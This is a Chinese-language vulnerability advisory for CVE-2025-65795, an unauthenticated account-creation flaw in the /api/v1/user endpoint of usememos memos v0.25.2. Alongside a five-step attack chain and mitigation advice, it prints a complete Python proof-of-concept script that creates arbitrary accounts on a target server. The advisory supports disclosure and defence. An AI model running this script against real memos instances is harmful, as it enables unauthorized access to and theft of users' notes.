IPBUF安全漏洞报告
English
CVE-2025-65795 CVSS 7.5 高危

CVE-2025-65795 usememos memos v0.25.2 访问控制错误导致任意账户创建漏洞

披露日期: 2025-12-08

漏洞信息

漏洞编号
CVE-2025-65795
漏洞类型
访问控制错误
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
usememos memos v0.25.2

相关标签

访问控制错误身份认证绕过任意账户创建usememosmemosCVE-2025-65795API安全高危漏洞

漏洞概述

CVE-2025-65795是usememos开源备忘录系统中的一个高危安全漏洞,CVSS评分达到7.5分。该漏洞存在于/api/v1/user API端点,由于不正确的访问控制(Incorrect Access Control)机制,允许未经授权的远程攻击者通过构造恶意请求,在系统中创建任意用户账户。攻击者无需任何身份认证或用户交互,即可利用此漏洞注册新账户,从而获得系统的合法访问权限。一旦攻击者成功创建账户,他们可以进一步利用这些账户权限访问、修改或删除系统中存储的敏感笔记数据,甚至可能通过横向移动获取更高权限。此漏洞影响使用usememos memos v0.25.2版本的所有部署实例,对系统机密性和完整性造成严重威胁。

技术细节

该漏洞的根本原因在于usememos memos v0.25.2版本的/api/v1/user端点缺少适当的访问控制验证。在正常的用户注册流程中,系统应当验证请求来源、限制注册频率、并确保新账户的唯一性。然而,该API端点直接暴露于网络且未实施任何认证机制,使得攻击者可以直接发送POST请求并指定任意用户名和密码来创建新账户。攻击者可以通过发送精心构造的HTTP请求包,指定username、password等参数,系统会直接创建该账户而不验证请求者身份。这种设计缺陷使得攻击者可以批量注册账户,或者创建与现有管理员相同名称的账户来尝试账户接管。建议通过在API端点添加身份验证、检查请求来源IP、或实施账户创建频率限制来修复此漏洞。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标系统使用的usememos版本,确认是否为v0.25.2版本,并通过扫描发现/api/v1/user端点
STEP 2
步骤2: 构造恶意请求
攻击者构造包含任意用户名、密码等信息的JSON格式POST请求,目标指向/api/v1/user端点
STEP 3
步骤3: 发送未授权请求
攻击者直接向目标服务器发送构造好的HTTP POST请求,无需任何身份认证令牌或会话信息
STEP 4
步骤4: 账户创建成功
由于端点缺少访问控制验证,系统直接处理请求并在数据库中创建新账户,返回成功响应
STEP 5
步骤5: 账户接管或数据窃取
攻击者使用创建的账户登录系统,访问、窃取或篡改敏感笔记数据,可能进一步横向移动

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-65795 PoC - usememos arbitrary account creation # Target: usememos memos v0.25.2 # Endpoint: /api/v1/user import requests import json import sys def create_arbitrary_user(target_url, username, password): """ Exploit for CVE-2025-65795: Incorrect Access Control in /api/v1/user endpoint Allows unauthorized attackers to create arbitrary accounts. """ endpoint = f"{target_url.rstrip('/')}/api/v1/user" # Crafted request payload for arbitrary account creation payload = { "username": username, "password": password, "nickname": username, "email": f"{username}@attacker.com" } headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" } try: print(f"[*] Target: {target_url}") print(f"[*] Attacking endpoint: {endpoint}") print(f"[*] Creating account: {username}") response = requests.post(endpoint, json=payload, headers=headers, timeout=10) print(f"[*] Status Code: {response.status_code}") print(f"[*] Response: {response.text}") if response.status_code == 200: data = response.json() if data.get('code') == 0 or 'id' in data: print(f"[+] SUCCESS: Account '{username}' created successfully!") print(f"[+] Username: {username}") print(f"[+] Password: {password}") return True print(f"[-] FAILED: Could not create account") return False except requests.exceptions.RequestException as e: print(f"[-] ERROR: {e}") return False if __name__ == "__main__": if len(sys.argv) < 4: print("Usage: python cve-2025-65795.py <target_url> <username> <password>") print("Example: python cve-2025-65795.py http://target.com:5230 attacker password123") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] create_arbitrary_user(target, user, pwd)

影响范围

usememos memos v0.25.2

防御指南

临时缓解措施
在官方补丁发布前,建议采取以下临时缓解措施:1) 使用Web应用防火墙(WAF)规则限制对/api/v1/user端点的访问,仅允许受信任的IP访问;2) 暂时禁用用户自助注册功能,通过管理员手动创建账户;3) 实施网络层访问控制,将usememos服务部署在受保护的内部网络中;4) 监控API请求日志,及时发现异常的账户创建行为;5) 考虑使用API网关对敏感端点进行统一鉴权管理。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表